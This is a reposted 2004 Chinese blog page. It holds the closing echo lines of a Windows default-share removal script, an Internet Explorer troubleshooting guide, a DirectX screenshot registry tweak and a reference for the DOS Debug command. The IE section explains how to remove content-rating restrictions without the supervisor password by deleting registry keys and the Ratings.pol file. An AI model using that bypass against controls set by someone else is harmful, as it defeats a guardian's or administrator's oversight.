
:END
echo.
echo ------------------------------------------------------
echo.
echo  Windows NT/2000 系统默认共享清除工具,成功完成清除工作
echo.
echo  作者:阿新(Seraph Chutium)
echo  主页:http://com.6to23.com/
echo.
echo ------------------------------------------------------
echo.

:EOF

shelly 发表于  2004-03-28 14:57:29


   IE难缠故障排除手册    |   阅读全文   |   评论(0)  |  引用(trackback1)  
 IE难缠故障排除手册 <转自GSN>

从上面专题的名称,大家一定也看出来了.这里我们介绍的不是一般的IE浏览器的操作技巧问题,因为这方面的文章似乎已经太多了。从更实用,对网友们更有利的角度上,笔者选择了“难缠故障”这个着眼点。之所以称之为“难缠”恰恰表现在它发生的频繁性和解决的困难度上。
希望大家顺着笔者的思路,在解决疑难的时候,同时对IE也能有一个更加深刻的认识。

1> 去除被设定了的“分级审查”

分级审查大家都知道了,它是一种定性的控制浏览器中显示内容的方法,举个例子,如果在网页内容中包含性描写之类的黄色信息,“分级审查”系统能够自动识别出来并提示当前用户,该内容被限制浏览,当然所限制的内容并非仅限于此。
也正因为此,分级审查设定不当的话,往往给用户带来很多不必要的麻烦,所以笔者在这里并不提倡大家使用分级审查的方法来屏蔽过滤网页。那么如何解除它呢?
如果是你自己设定的分级审查,就相对简单些了,直接在最下的“密码”输入框内键入密码即可开始浏览。同时你还可以通过“监护人”的身份将该功能关闭掉,以避免总是来回出现提示窗口。

使用菜单“工具”-“Internet选项”,选择“内容”选项卡

单击分级审查设定框内的“禁用”按钮,这时IE会要求你输入监护人的密码
“确定”后,IE会弹出一个提示窗口告诉你当前分级审查已经关闭,现在你可以随便浏览网站了。
但是很多情况下,往往我们不知道“监护人密码”,这也是它的棘手之处。不管是由于不小心忘记了, 还是别人故意设置的,这时想去除它就要借助“注册表”了。

单击“开始”菜单,选择“运行”,在里面键入命令“regedit”,进入注册表编辑器。按顺序依次选择“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies”,如图

鼠标右击“Ratings”键将其删除,退出注册表编辑器,同时进入系统目录(Windows/System)下,将相应的文件Ratings.pol也删除掉。然后重新启动计算机。

故障提示:为了防止别人随便设定分级审查,你可以在开启该功能后关闭,这样当用户再次设定时,将需要提供上次的原始密码,否则不能完成。

2> IE小窗口,如何让它重新变大?

有时在我们使用IE浏览器中,不知道什么原因窗口就变小了。每次重新启动时,都是这样一个小窗口,即便是用“最大化”按钮,还是无济于事。

其实这是IE自身所具有的一种“记忆”效应,即下次重新开启的窗口默认依从最前一次关闭时的状态。当然问题严重时,也会出现类似上面这种情况。

同样进入注册表编辑器,依次选择“HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\”,在右边的窗口中删除“Window_Placement”键,如图



另外在“HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Old Work-Areas”右边窗口中删除“OldWorkAreaRects”键,如图



关闭注册表,重新启动计算机,连续两次最大化IE窗口(“最大化”-“还原”-“最大化”),再次重新启动IE OK了。


3> 如何永久性的固定“HomePage”地址?

上网浏览时,经常遇到本来已经设定好的“主页”地址被更改的情况,当然你可以再次通过“工具”-“Internet选项”中的“常规”选项卡设定回来,然而变来变去终究够麻烦的。

那么有没有更彻底的办法呢?这里用到了一个叫做“MS Internet Explorer personal”的IE浏览器扩展插件,IEP(简称)是一个IE的增强工具软件,主要是用来定制个性化的浏览器显示外观,并对IE的工具选项进行一定的限制。通过它你可以将浏览器的主页地址彻底“锁死”!

到海阔天空下载站http://ilike.myrice.com/soft_browse...舳
shelly 发表于  2004-03-26 12:18:43


   键盘抓取DX屏~~    |   阅读全文   |   评论(2)  |  引用(trackback1)  
从《三人行》看到,呵呵,不错的知识点:(未经测试,有测试成功的朋友请留个话话哦~~   原文件如下~~
  Print Screen键无法截取DirectX图,没关系,只要我们略施小计,就可以让它大展拳脚。在“开始”菜单的“运行”中输入Regedit,打开注册表编辑器,然后展开注册表HKEY_LOCAL_MACHINE\Software\Microsoft\DirectDraw分支,新建一个“DWORD”值,并将其重命名为“EnablePrintScreen”,填入键值“1”,即可使Print Screen键具有截取DirectX图的功能。.....

From: http://srx.8866.org/dispbbs.asp?boardid=4&id=38&star=1
shelly 发表于  2004-02-27 08:21:54


   DEBUG 的使用~~~    |   阅读全文   |   评论(0)  |  引用(trackback0)  
早在读书时,有些喜欢这个工具,收集了相关资料。汗,记性不好,把资料又放四川老家了,刚好在GSN小组上看到这篇文章,就转过来,留个存档~~~~
启动 Debug,它是可用于测试和调试 MS-DOS 可执行文件的程序。
Debug [[drive:][path] filename [parameters]]
参数
[drive:][path] filename
指定要测试的可执行文件的位置和名称。
parameters
指定要测试的可执行文件所需要的任何命令行信息。
++
说明
使用 Debug 命令但不指定要测试的文件
如果使用没有位置和文件名的 Debug 命令,然后键入所有的 Debug 命令以响应 Debug 提示符,连字符 (-)。
Debug 命令
以下是 Debug 命令列表:
? 显示 Debug 命令列表。
a 汇编 8086/8087/8088 记忆码。
c 比较内存的两个部分。
d 显示部分内存的内容。
e 从指定地址开始,将数据输入到内存。
f 使用指定值填充一段内存。
g 运行在内存中的可执行文件。
h 执行十六进制运算。
i 显示来自特定端口的 1 字节值。
l 将文件或磁盘扇区内容加载到内存。
m 复制内存块中的内容
/n 为 l 或 w 命令指定文件,或者指定正在测试的文件的参数。
o 向输出端口发送 1 个字节的值。
p 执行循环、重复的字符串指令、软件中断或子例程。
q 停止 Debug 会话。
r 显示或改变一个或多个寄存器。
s 在部分内存中搜索一个或多个字节值的模式。
t 执行一条指令,然后显示所有寄存器的内容、所有标志的状态和 Debug 下一步要执行的指令的解码形式。
u 反汇编字节并显示相应的原语句。
w 将被测试文件写入磁盘。
xa 分配扩展内存。
xd 释放扩展内存。
xm 映射扩展内存页。
xs 显示扩展内存的状态。
分隔命令参数
所有 Debug 命令都接受参数,除了 q 命令之外。可以用逗号或空格分隔参数,但是只有在两个十六进制值之间才需要这些分隔符。因此,以下命令等价:
dcs:100 110
d cs:100 110
d,cs:100,110
指定有效地址项
Debug 命令中的 address 参数指定内存位置。Address 是一个包含字母段记录的二位名称或一个四位字段地址加上一个偏移量。可以忽略段寄存器或段地址。a,g,l,t,u 和 w 命令的默认段是 CS。所有其他命令的默认段是 DS。所有数值均为十六进制格式。
有效地址如下:
CS:0100
04BA:0100
在段名和偏移量之间要有冒号。
指定有效范围项
Debug 命令中的 range 参数指定了内存的范围。可以为 range 选择两种格式:起始地址和结束地址,或者起始地址和长度范围(由 l 表示)。
例如,下面的两个语法都可以指定从 CS:100 开始的 16 字节范围:
cs:100 10f
cs:100 l 10
++
Debug 子命令
选择 Debug 命令以获得详细信息。
Debug:A(汇编)
Debug:C(比较)
Debug(转储)
Debug:E(键入)
Debug:F(填充)
Debug:G(转向)
Debug:H(十六进制)
Debug:I(输入)
Debug:L(加载)
Debug:M(移动)
Debug:N(名称)
Debug:O(输出)
Debug:P(执行)
Debug:Q(退出)
Debug:r(寄存器)
Debug:s(搜索)
Debug:T(跟踪)
Debug:U(反汇编)
Debug:W(写入)
Debug:XA(分配扩展内存)
Debug:XD(取消分配扩展内存)
Debug:XM(映射扩展内存页)
Debug:XS(显示扩展内存状态)
***********************Debug子命令******************************
Debug:A(汇编)
直接将 8086/8087/8088 记忆码合并到内存。
该命令从汇编语言语句创建可执行的机器码。所有数值都是十六进制格式,必须按一到四个字符输入这些数值。在引用的操作代码(操作码)前指定前缀记忆码。
a [address]
参数
address
指定键入汇编语言指令的位置。对 address 使用十六进制值,并键入不以“h”字符结尾的每个值。如果不指定地址,a 将在它上次停止处开始汇编。
有关将数据输入到指定字节中的信息,请单击“相关主题”列表中的 Debug E(键入)。
有关反汇编字节的信息,请单击“相关主题”列表中的 Debug U(反汇编)。
范例
a 命令支持所有形式的间接注册命令,如下例所示:
add bx,34[bp+2].[si-1]
pop [bp+di]
push [si] )
还支持所有操作码同义词,如下例所示:
loopz 100
loope 100
ja 200
jnbe 200
对于 8087 操作码,必须指定 wait 或 fwait 前缀,如下例所示:
fwait fadd st,st(3) ; this line assembles
; an fwait prefix
说明
使用记忆码
段的替代记忆码为 cs:、ds:、es: 和 ss:。远程返回的记忆码是 retf。字符串处理的记忆码必须明确声明字符串大小。例如,使用 movsw 可以移动 16 位的字串,使用 movsb 可以移动 8 位字节串。
汇编跳转和调用
汇编程序根据字节替换自动将短、近和远的跳转及调用汇编到目标地址。通过使用 near 或 far 前缀可以替代这样的跳转或调用,如下例所示:
-a0100:0500
0100:0500 jmp 502 ; a 2-byte short jump
0100:0502 jmp near 505 ; a 3-byte near jump
0100:0505 jmp far 50a ; a 5-byte far jump
可以将 near 前缀缩写为 ne。
区分字和字节内存位置
当某个操作数可以引用某个字内存位置或者字节内存位置时,必须用前缀 word ptr 或者前缀 byte ptr 指定数据类型。可接受的缩写分别是 wo 和 by。以下范例显示两种格式:
dec wo [si]
neg byte ptr [128]
指定操作数
Debug 使用包括在中括号 ([ ]) 的操作数引用内存地址的习惯用法。这是因为另一方面 Debug 不能区分立即操作数和内存地址的操作数。以下范例显示两种格式:
mov ax,21 ; load AX with 21h
mov ax,[21] ; load AX with the
; contents of
; memory location 21h
使用伪指令
使用 a 命令提供两个常用的伪指令:db 操作码,将字节值直接汇编到内存,dw 操作码,将字值直接汇编到内存。以下是两个伪指令的范例:
db 1,2,3,4,"THIS IS AN EXAMPLE"
db 'THIS IS A QUOTATION MARK:"'
db "THIS IS A QUOTATION MARK:'"
dw 1000,2000,3000,"BACH"
++
Debug:C(比较)
比较内存的两个部分。
c range address
参数
range
指定要比较的内存第一个区域的起始和结束地址,或起始地址和长度。有关有效的 range 值的信息,请单击“相关主题”列表中的“Debug 说明”。
address
指定要比较的第二个内存区域的起始地址。有关有效 address 值的信息,请单击“相关主题”列表中的“Debug 说明”。
++
范例
以下命令具有相同效果:
c100,10f 300
c100l10 300
每个命令都对 100h 到 10Fh 的内存数据块与 300h 到 30Fh 的内存数据块进行比较。
Debug 响应前面的命令并显示如下信息(假定 DS = 197F):
197F:0100 4D E4 197F:0300
197F:0101 67 99 197F:0301
197F:0102 A3 27 197F:0302
197F:0103 35 F3 197F:0303
197F:0104 97 BD 197F:0304
197F:0105 04 35 197F:0305
197F:0107 76 71 197F:0307
197F:0108 E6 11 197F:0308
197F:0109 19 2C 197F:0309
197F:010A 80 0A 197F:030A
197F:010B 36 7F 197F:030B
197F:010C BE 22 197F:030C
197F:010D 83 93 197F:030D
197F:010E 49 77 197F:030E
197F:010F 4F 8A 197F:030F
注意列表中缺少地址 197F:0106 和 197F:0306。这表明那些地址中的值是相同的。
++
说明
如果 range 和 address 内存区域相同,Debug 将不显示任何内容而直接返回到 Debug 提示符。如果有差异,Debug 将按如下格式显示:
address1 byte1 byte2 addess2
++++
Debug(转储)
显示一定范围内存地址的内容。
d [range]
参数
range
指定要显示其内容的内存区域的起始和结束地址,或起始地址和长度。有关有效的 range 值的信息,请单击“相关主题”列表中的“Debug 说明”。如果不指定 range,Debug 程序将从以前 d 命令中所指定的地址范围的末尾开始显示 128 个字节的内容。
有关显示寄存器内容的信息,请单击“相关主题”列表中的 Debug R(寄存器)。
++
范例
假定键入以下命令:
dcs:100 10f
Debug 按以下格式显示范围中的内容:
04BA:0100 54 4F 4D 00 53 41 57 59-45 52 00 00 00 00 00 00 TOM.SAWYER......
如果在没有参数的情况下键入 d 命令,Debug 按以前范例中所描述的内容来编排显示格式。显示的每行以比前一行的地址大 16 个字节(如果是显示 40 列的屏幕,则为 8 个字节)的地址开头。
对于后面键入的每个不带参数的 d 命令,Debug 将紧接在最后显示的命令后立即显示字节内容。
如果键入以下命令,Debug 将从 CS:100 开始显示 20h 个字节的内容:
dcs:100 l 20
如果键入以下命令,Debug 将显示范围从 CS 段的 100h 到 115h 中所有字节的内容:
dcs:100 115
++
说明
当使用 d 命令时,Debug 以两个部分显示内存内容:十六进制部分(每个字节的值都用十六进制格式表示)和 ASCII 码部分(每个字节的值都用 ASCII 码字符表示)。每个非打印字符在显示的 ASCII 部分由句号 (.) 表示。每个显示行显示 16 字节的内容,第 8 字节和第 9 字节之间有一个连字符。每个显示行从 16 字节的边界上开始。
++
Debug:E(键入)
将数据输入到内存中指定的地址。
可以按十六进制或 ASCII 格式键入数据。以前存储在指定位置的任何数据全部丢失。
e address [list]
参数
address
指定输入数据的第一个内存位置。
list
指定要输入到内存的连续字节中的数据。
有关集成记忆码的信息,请单击“相关主题”列表中的 Debug A(汇编)。
有关显示内存部分内容的信息,请单击“相关主题”列表中的 Debug D (转储)。
++
范例
假定键入以下命令:
ecs:100
Debug 按下面的格式显示第一个字节的内容:
04BA:0100 EB.
要将该值更改为 41,请在插入点键入 41,如下所示:
04BA:0100 EB.41_
可以用一个 e 命令键入连续的字节值。在键入新值后按 SPACEBAR(空格键),而不是按 ENTER 键。Debug 显示下一个值。在此范例中,如果按三次 SPACEBAR(空格键),Debug 将显示下面的值:
04BA:0100 EB.41 10. 00. BC._
要将十六进制值 BC 更改为 42,请在插入点键入 42,如下所示:
04BA:0100 EB.41 10. 00. BC.42_
假定决定值 10 应该是 6F。要纠正该值,请按 HYPHEN 键两次以返回到地址 0101(值 10)。Debug 显示以下内容:
04BA:0100 EB.41 10. 00. BC.42-
04BA:0102 00.-
04BA:0101 10._
在插入点键入 6f 更改值,如下所示:
04BA:0101 10.6f_
按 ENTER 停止 e 命令并返回到 Debug 提示符下。
以下是字符串项的范例:
eds:100 "This is the text example"
该字符串将从 DS:100 开始填充 24 个字节。
++
说明
使用 address 参数
如果在没有指定可选的 list 参数的值情况下指定 address 的值,Debug 将显示地址和内容,在下一行重复地址,并等待您的输入。此时,您可以执行下列操作之一:
· 替换字节值。为此,请在当前值后键入新值。如果您键入的值不是有效的十六进制值,或该值包含两个以上的数字,则 Debug 不会回显无效或额外的字符。
· 进入下一个字节。为此,请按 SPACEBAR(空格键)。要更改该字节中的值,请在当前值后键入新值。如果按 SPACEBAR(空格键)时,移动超过了 8 位界限,Debug 程序将显示新的一行并在行首显示新地址。
· 返回到前一个字节。为此,请按 HYPHEN 键 (-)。可以反复按 HYPHEN 键 (-) 向后移动超过多个字节。在按 HYPHEN 时,Debug 开始新行并显示当前地址和字节值。
· 停止执行 e 命令。为此,请按 ENTER 键。在任何字节位置都可以按 ENTER。
使用 list 参数
如果指定 list 参数的值,随后的 e 命令将使用列表中的值替换现有的字节值。如果发生错误,将不更改任何字节值。
List 值可以是十六进制字节或字符串。使用空格、逗号或制表符来分隔值。必须将字符串包括在单或双引号中。
++++
Debug:F(填充)
使用指定的值填充指定内存区域中的地址。
可以指定十六进制或 ASCII 格式表示的数据。任何以前存储在指定位置的数据将会丢失。
f range list
参数
range
指定要填充内存区域的起始和结束地址,或起始地址和长度。关于有效的 range 值的信息,请单击“相关主题”列表中的“Debug 说明”。
list
指定要输入的数据。List 可以由十六进制数或引号包括起来的字符串组成。
++
范例
假定键入以下命令:
f04ba:100l100 42 45 52 54 41
作为响应,Debug 使用指定的值填充从 04BA:100 到 04BA:1FF 的内存位置。Debug 重复这五个值直到 100h 个字节全部填满为止。
++
说明
使用 range 参数
如果 range 包含的字节数比 list 中的数值大,Debug 将在 list 中反复指派值,直到 range 中的所有字节全部填充。
如果在 range 中的任何内存损坏或不存在,Debug 将显示错误消息并停止 f 命令。
使用 list 参数
如果 list 包含的数值多于 range 中的字节数,Debug 将忽略 list 中额外的值。
++
Debug:G(转向)
运行当前在内存中的程序。
g [=address] [breakpoints]
参数
=address
指定当前在内存中要开始执行的程序地址。如果不指定 address,Windows 2000 将从 CS:IP 寄存器中的当前地址开始执行程序。
breakpoints
指定可以设置为 g 命令的部分的 1 到 10 个临时断点。
有关执行循环、重复的字符串指令、软件中断或子程序的信息,请单击“相关主题”列表中的 Debug P(执行)。
有关执行指令的信息,请单击“相关主题”列表中的 Debug T(跟踪)。
范例
假定键入以下命令:
gcs:7550
Windows 2000 运行当前内存中的程序,直到执行到 CS 段中的断点地址 7550 为止。Debug 将显示寄存器的内容和标志的状态并结束 g 命令。
以下命令设置两个断点:
gcs:7550, cs:8000
如果在 Debug 遇到断点之后再次键入 g 命令,将从在断点之后的指令开始执行,而不是在通常的开始地址执行。
++
说明
使用 address 参数
必须在 address 参数之前使用等号 (=) 以区分开始地址 (address) 和断点地址 (breakpoints)。
指定断点
程序在它遇到的第一个断点处停止,而不论您在 breakpoint 列表的什么位置键入断点。Debug 在每个断点处用中断代码代替原始指令。
当程序到达断点时,Debug 将所有断点地址恢复到它们的最初指令并显示所有寄存器的内容、所有标记的状态以及最后执行指令的解码形式。Debug 显示的信息与使用 Debug r(寄存器)命令并指定断点时所显示的信息相同。
如果不在断点处停止程序,Debug 程序将不使用原始指令替换中断代码。
设置断点的限制
可以只在包含 8086 操作代码(操作码)的第一个字节的地址上设置断点。如果设置了 10 个以上的断点,Debug 将显示以下信息:
bp error
对用户堆栈指针的要求
用户堆栈指针必须有效且必须有 6 个字节可用于 g 命令。该命令使用 iret 指令跳转到正在被测试的程序。Debug 设置用户堆栈指针并将用户标志、代码段寄存器和指令指针压入用户堆栈。(如果用户堆栈无效或太小,操作系统可能会失败。)Debug 在指定的断点处设置中断代码 (0CCh)。
重新启动程序
不要在 Windows 2000 显示以下消息后尝试重新启动程序;
Program terminated normally
要正确地运行程序,必须通过使用 Debug n(名称)和 l(加载)命令重新加载该程序。
++++
Debug:H(十六进制)
对指定的两个参数执行十六进制运算。
h value1 value2
参数
value1
代表从 0 到 FFFFh 范围内的任何十六进制数字。
value2
代表从 0 到 FFFFh 范围内第二个十六进制数字。
++
范例
假定键入以下命令:
h19f 10a
Debug 执行运算并显示以下结果。
02A9 0095
++
说明
Debug 首先将指定的两个参数相加,然后从第一个参数中减去第二个参数。这些计算的结果显示在一行中:先计算和,然后计算差。
++++
Debug:I(输入)
从指定的端口读取并显示一个字节值。
i port
参数
port
按地址指定输入端口。地址可以是 16 位的值。
有关将字节值发送到输出端口的信息,请单击“相关主题”列表中的 Debug O(输出)。
++
范例
假定键入以下命令:
i2f8
同时假定端口的字节值是 42h。Debug 读取该字节,并将其值显示如下:
42
++
Debug:L(加载)
将某个文件或特定磁盘扇区的内容加载到内存。
要从磁盘文件加载 BX:CX 寄存器中指定的字节数内容,请使用以下语法:
l [address]
要略过 Windows 2000 文件系统并直接加载特定的扇区,请使用以下语法:
l address drive start number
参数
address
指定要在其中加载文件或扇区内容的内存位置。如果不指定 address,Debug 将使用 CS 寄存器中的当前地址。
drive
指定包含读取指定扇区的磁盘的驱动器。该值是数值型:0 = A, 1 = B, 2 = C 等。
start
指定要加载其内容的第一个扇区的十六进制数。
number
指定要加载其内容的连续扇区的十六进制数。只有要加载特定扇区的内容而不是加载 debug 命令行或最近的 Debug n(名称)命令中指定的文件时,才能使用 drive、start 和 number 参数。
有关指定用于 l 命令的文件的信息,请单击“相关主题”列表中的 Debug n(名称)。
有关写入调试到磁盘的文件的信息,请单击“相关主题”列表中的 Debug w(写入)。
++
范例
假定启动 Debug 并键入以下命令:
nfile.com
现在可以键入 l 命令以加载 File.com。Debug 将加载文件并显示 Debug 提示符。
假定需要从驱动器 C 将起始逻辑扇区为 15 (0Fh) 的 109 (6Dh) 个扇区的内容加载到起始地址为 04BA:0100 的内存中。为此,请键入以下命令:
l04ba:100 2 0f 6d
++
注意
使用不带参数的 l 命令
当使用不带参数的 l 命令时,在 debug 命令行上指定的文件将加载到内存中,从地址 CS:100 开始。Debug 同时将 BX 和 CX 寄存器设置为加载的字节数。如果不在 debug 命令行指定文件,所装入的文件将是最近使用 n 命令经常指定的文件。
使用具有 address 参数的 1 命令
如果使用带 address 参数的 l 命令,Debug 将从内存位置 address 开始加载文件或指定扇区的内容。
使用带全部参数的 l 命令
如果使用带所有参数的 l 命令,Debug 将加载指定磁盘扇区的内容而不是加载文件。
加载特定扇区的内容
指定范围内的每个扇区均从 drive 读取。Debug 从 start 开始加载,直到在 number 中指定的扇区数中的内容全部被加载。
加载 .exe 文件
Debug 忽略 .exe 文件的地址 address 参数。如果指定 .exe 文件,Debug 将文件重新定位到 .exe 文件的标题中指定的加载地址。在 .exe 文件被加载到内存前,标题自身从 .exe 文件脱离,因此磁盘上的 .exe 文件大小与内存中的不同。如果要检查整个 .exe 文件,请使用不同的扩展名重命名文件。
打开十六进制文件
Debug 将具有 .hex 扩展名的文件认为十六进制格式文件。键入不带参数的 l 命令,可以加载从十六进制文件中指定的地址处开始的十六进制文件。如果键入的 l 命令包含 address 参数,Debug 将把指定的地址加到在十六进制文件中找到的地址上,以确定起始地址。
++++
Debug:M(移动)
将一个内存块中的内容复制到另一个内存块中。
m range address
参数
range
指定要复制内容的内存区域的起始和结束地址,或起始地址和长度。
address
指定要将 range 内容复制到该位置的起始地址。
++
范例
假定键入以下命令:
mcs:100 110 cs:500
Debug 首先将 CS:110 地址中的内容复制到地址 CS:510 中,然后将 CS:10F 地址中的内容复制到 CS:50F 中,如此操作直至将 CS:100 地址中的内容复制到地址 CS:500 中。要查看结果,请使用 Debug d(转储)命令,并使用 m 命令指定目标地址。
++
说明
复制操作对现有数据的影响
如果新数据没有写入正在被复制的数据块中的地址,则源数据将保持不变。但是,如果目标块已经包含数据(就象它在覆盖副本操作中一样),则将改写该数据。(覆盖复制操作是指那些目标数据块部分内容覆盖原数据块部分内容的操作。)
执行覆盖复制操作
m 命令执行目标地址的覆盖复制操作,而不丢失数据。将改写的地址内容首先复制。因此,如果将较高位地址的数据复制到较低位地址,则复制操作从原块的最低位地址开始并向最高位地址进行。反之,如果要将数据从低地址复制到高地址,复制操作从原块的最高地址开始,向最低地址进行。
++++
Debug:N(名称)
指定 Debug l(加载)或 w(写入)命令的可执行文件的名称,或者指定正在调试的可执行文件的参数。
n [drive:][path] filename
要指定测试的可执行文件的参数,请使用以下语法:
n file-parameters
参数
如果在没有参数的情况下使用,则 n 命令清除当前规范。
[drive:][path] filename
指定要测试的可执行文件的位置和名称。
file-parameters
为正在测试的可执行文件指定参数和开关。
有关将文件或指定磁盘扇区的内容加载到内存中的信息,请单击“相关主题”列表中的 Debug L(加载)。
有关写入调试到磁盘的文件的信息,请单击“相关主题”列表中的 Debug W(写入)。
++
范例
假定已经启动 Debug,并加载了正在调试的程序 Prog.com。接着您决定为 Prog.com 指定两个参数并运行此程序。以下是此范例的命令序列:
debug prog.com
nparam1 param2
g
在这种情况下,Debug g(转向)命令会运行该程序,就好像您已在 Windows 2000 命令提示符后键入了如下命令:
prog param1 param2
所以,测试和调试反映 Prog.com 通常的运行时间环境。
在下面的命令序列中,第一个 n 命令将 File1.exe 指定为后接的 l(加载)命令的文件,该命令将 File1.exe 加载到内存。第二个 n 命令指定 File1.exe 将使用的参数。最后,g 命令将运行 File1.exe 文件,就好像您在 Windows 2000 命令行中键入了 File1 File2.dat File2.dat 一样。
nfile1.exe
l
nfile2.dat file3.dat
g
注意
· 不要在 n 命令的第二种形式后使用 l 命令。还要注意,如果现在使用 w(写入)命令,Windows 2000 将使用名称 File2.dat 保存正在调试的文件 File1.exe。为避免出现此结果,应该总是在 l 或 w 命令之前立即使用 n 命令的第一种形式。
++
说明
n 命令的两个用途
可以按两种方式使用 n 命令。首先,您可以使用它以指定后面的 l(加载)或 w(写入)命令所使用的文件。如果在没有命名所调试文件的情况下启动 Debug,必须在使用 l 命令加载文件之前使用命令 nfilename。在 CS:5C 为文件控制块 (FCB) 正确编排文件名的格式。其次,可以使用 n 命令指定被调试文件的命令行参数和开关。
内存区域
以下四个内存区域都会受到 n 命令的影响:
内存位置 内容
CS:5C 文件 1 的文件控制数据块 (FCB)
CS:6C 文件 2 的文件控制数据块 (FCB)
CS:80 n 命令行的长度(以字符表示)
CS:81 n 命令行字符的开头
为 n 命令指定的第一个文件名被放在 CS:5C 的 FCB 中。如果指定第二个文件名,此名称将放置到 CS:6C 的 FCB 中。n 命令行上键入的字符数(除第一个字符之外,n)存储在位置 CS:80。n 命令行上的实际字符(再次,除了字母 n 之外)存储在以 CS:81 开头的位置。注意这些字符可以是在 Windows 2000 命令提示符下键入的命令中有效的任何开关和分隔符。
++++
Debug:O(输出)
将字节值发送到输出端口。
o port byte-value
参数
port
通过地址指定输出端口。端口地址可以是 16 位值。
byte-value
指定要指向 port 的字节值。
有关从输入端口读取字节值的信息,请单击“相关主题”列表中的 Debug I(输入)。
++
范例
要将字节值 4Fh 发送到地址为 2F8h 的输出端口,请键入以下命令:
o2f8 4f
++++
Debug:P(执行)
执行循环、重复的字符串指令、软件中断或子例程;或通过任何其他指令跟踪。
p [= address] [number]
参数
=address
指定第一个要执行指令的位置。如果不指定地址,则默认地址是在 CS:IP 寄存器中指定的当前地址。
number
指定在将控制返回给 Debug 之前要执行的指令数。默认值为 1。
有关运行当前在内存中程序的信息,请单击“相关主题”列表中的 Debug G(转向)。
有关执行指令的信息,请单击“相关主题”列表中的 Debug T(跟踪)。
++
范例
假定正在测试的程序在地址 CS:143F 处包含一个 call 指令。要运行 call 目标位置的子程序然后将控制返回到 Debug,请键入以下命令:
p=143f
Debug 按以下格式显示结果:
AX=0000 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=2246 ES=2246 SS=2246 CS=2246 IP=1443 NV UP EI PL NZ AC PO NC
2246:1442 7505 JNZ 144A
++
说明
将控制传送到要测试的程序
当 p 命令将控制从 Debug 传送到要测试的程序时,该程序不间断运行,直到循环、重复字符串指令、软件中断或者完成了指定地址的子例程为止,或者直到执行了指定数量的机器指令为止。控制返回到 Debug。
地址参数的限制
如果 address 参数没有指定段,Debug 将使用被测试程序的 CS 寄存器。如果省略 address,程序将从 CS:IP 寄存器所指定的地址开始执行。必须在 address 参数之前使用等号 (=) 以便将它与 number 参数区分。如果在指定地址处的指令不是循环、重复的字符串指令、软件中断或子例程,则 p 命令与 Debug t(跟踪)命令的作用相同。
使用 p 命令显示的邮件
当 p 执行完一段说明后,Debug 显示出程序的寄存器内容、标志的状态以及下一段将要被执行的指令的解码形式。
警告
· 不能使用 p 命令跟踪只读内存 (ROM)。
++++
Debug:Q(退出)
停止 Debug 会话,不保存当前测试的文件。
当您键入 q 以后,控制返回到 Windows 2000 的命令提示符。
q
参数
该命令不带参数。
有关保存文件的信息,请单击“相关主题”列表中的 Debug W(写入)。
++++
Debug:R(寄存器)
显示或改变一个或多个 CPU 寄存器的内容。
r [register-name]
参数

如果在没有参数的情况下使用,则 r 命令显示所有寄存器的内容以及寄存器存储区域中的标志。
register-name
指定要显示其内容的寄存器名。
有关显示内存部分内容的信息,请单击“相关主题”列表中的 Debug D(转储)。
有关反汇编字节的信息,请单击“相关主题”列表中的 Debug U(反汇编)。
++
范例
要查看所有寄存器的内容、所有标记的状态和当前位置的指令解码表,请键入以下命令:
r
如果当前位置是 CS:11A,显示外观将类似于以下内容:
AX=0E00 BX=00FF CX=0007 DX=01FF SP=039D BP=0000 SI=005C DI=0000
DS=04BA ES=04BA SS=04BA CS=O4BA IP=011A NV UP DI NG NZ AC PE NC
04BA:011A CD21 INT 21
要只查看标志的状态,请键入以下命令:
rf
Debug 按以下格式显示信息:
NV UP DI NG NZ AC PE NC - _
现在,您可以按任意顺序键入一个或多个有效的标志值,其中可以有或没有空格,如下所示:
nv up di ng nz ac pe nc - pleicy
Debug 结束 r 命令并显示 Debug 提示符。要查看更改,请键入 r 或 rf 命令。Debug 将显示以下内容:
NV UP EI PL NZ AC PE CY - _
按 ENTER 返回到 Debug 提示符。
++
说明
使用 r 命令
如果指定了寄存器名称,Windows 2000 将显示以十六进制标记表示的寄存器的 16 位值,并将冒号显示为提示符。如果要更改包含在寄存器中的值,除非键入新值并按 ENTER 键;否则,请按 ENTER 键返回 Debug 提示符。
有效寄存器名
以下是 register-name 的有效值:ax、bx、cx、dx、sp、bp、si、di、ds、es、ss、cs、ip、pc 及 f。ip 和 pc 都引用指令指针。
如果指定寄存器名称,而不是从前面的列表中指定,Windows 2000 将显示以下消息:
br error
使用 f 字符而不是寄存器名
如果键入 f 字符代替寄存器名,Debug 将每个标记的当前设置显示为两字母代码,然后显示 Debug 提示符。要更改标志的设置,请从下表中键入适当的两字母代码:
标志名 设置 清除
溢出 ov nv
方向 dn(减) up(增)
中断 ei(启用) di(禁用)
正负 ng(负) pl(正)
零 zr nz
辅助进位 ac na
奇偶校验 pe(偶校验) po(奇校验)
进位 cy nc
可以按任何顺序键入新的标志值。不需要在这些值之间留出空格。要停止 r 命令,请按 ENTER 键。任何没有指定新值的标志保持不变。
用 r 命令显示的邮件
如果为标记指定了多个值,Debug 将显示以下消息:
df error
如果指定没有在前面的表中列出的标志代码,Debug 将显示以下消息:
bf error
在这两种情况下,Debug 将忽略所有在无效项目之后指定的设置。
Debug 的默认设置
在启动 Debug 时,会将段寄存器设置到空闲内存的低端,指令指针设置为 0100h,清除所有标志,并且将其余寄存器设置为零,除了被设置为 FFEEh 的 sp 之外。
++++
Debug:S(搜索)
在某个地址范围搜索一个或多个字节值的模式。
s range list
参数
range
指定要搜索范围的开始和结束地址。有关 range 参数有效值的信息,请单击“相关主题”列表中的 Debug。
list
指定一个或多个字节值的模式,或要搜索的字符串。用空格或逗号分隔每个字节值和下一个字节值。将字符串值包括在引号中。
++
范例
假定需要查找包含值 41 并且范围从 CS:100 到 CS:110 的所有地址。为此,请键入以下命令:
scs:100 110 41
Debug 按以下格式显示结果:
04BA:0104
04BA:010D
-
以下命令在 CS:100 到 CS:1A0 的范围内搜索字符串“Ph”。
scs:100 1a0 "Ph"
++
说明
如果 list 参数包含多个字节值,Debug 将只显示出现字节值的第一个地址。如果 list 只包含一个字节值,Debug 将显示指定范围内出现该值的所有地址。
++++
Debug:T(跟踪)
执行一条指令,并显示所有注册的内容、所有标志的状态和所执行指令的解码形式。
t [=address] [number]
参数
=address
